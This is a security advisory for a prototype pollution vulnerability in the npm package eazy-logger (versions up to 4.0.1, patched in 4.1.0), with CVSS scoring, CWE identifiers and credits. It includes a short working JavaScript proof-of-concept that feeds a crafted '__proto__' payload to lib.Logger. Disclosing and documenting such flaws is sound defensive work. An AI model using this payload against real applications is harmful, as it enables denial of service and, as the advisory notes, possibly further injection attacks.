eazy-logger prototype pollution

Description

A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., child_process.exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

Proof of Concept

(async () => {
const lib = await import('eazy-logger');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.Logger (JSON.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Source code
Browse source ↗
Published (advisory)
2025-02-06 06:31:26 UTC
Updated
2025-04-07 12:34:02 UTC
GitHub reviewed
2025-02-06 23:31:34 UTC
NVD published
2025-02-05

EPSS Score

Score Percentile
0.10% 26.81%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-400 Uncontrolled Resource Consumption
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Credits

  • RDIL (analyst)
  • FeBe95 (analyst)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm eazy-logger <= 4.0.1 4.1.0

References

cvelogic Threat Intelligence